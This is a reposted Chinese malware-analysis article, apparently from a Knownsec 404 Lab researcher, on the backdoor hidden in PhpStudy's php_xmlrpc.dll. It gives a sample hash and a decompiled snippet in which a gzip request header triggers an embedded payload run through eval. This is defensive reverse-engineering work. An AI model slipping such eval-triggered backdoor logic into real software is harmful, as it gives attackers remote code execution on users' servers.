新聞中心
這里有您想知道的互聯(lián)網營銷解決方案
PhpStudy后門分析-創(chuàng)新互聯(lián)
作者:Hcamael@知道創(chuàng)宇404實驗室
時間:2019年9月26日
背景介紹
2019/09/20,一則杭州警方通報打擊涉網違法犯罪專項行動戰(zhàn)果的新聞出現(xiàn)在我的朋友圈,其中通報了警方發(fā)現(xiàn)PhpStudy軟件被種入后門后進行的偵查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗還挺多的,曾經我還是Web狗的時候也用過幾天,不過因為不習慣就卸了。還記得當初會用PhpStudy的原因是在網上自學一些Web方向的課程時,那些課程中就是使用PhpStudy。在拿到樣本后,我就對PhpStudy中的后門進行了一波逆向分析。
后門分析
最近關于講phpstudy的文章很多,不過我只得到一個信息,后門在php_xmlrpc.dll文件中,有關鍵詞:"eval(%s(%s))"。得知這個信息后,就降低了前期的工作難度。可以直接對該dll文件進行逆向分析。
我拿到的是2018 phpstudy的樣本:
MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5
對字符串進行搜索,很容易的搜到了函數(shù):
sub_100031F0
經過對該函數(shù)逆向分析,發(fā)現(xiàn)該后門可以分為三種形式:
1.觸發(fā)固定payload:
v12 = strcmp(**v34, aCompressGzip); if ( !v12 ) { v13 = &rce_cmd; v14 = (char *)&unk_1000D66C; v42 = &rce_cmd; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == '\'' ) { v13[v12] = '\\'; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v40 = v17; v18 = setjmp3((int)&v32, 0); v19 = v40; if ( v18 ) { v20 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; } else { v20 = a3; zend_eval_string(v42, 0, &rce_cmd, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; return result; }
網站題目:PhpStudy后門分析-創(chuàng)新互聯(lián)
網站鏈接:http://ef60e0e.cn/article/dgeihh.html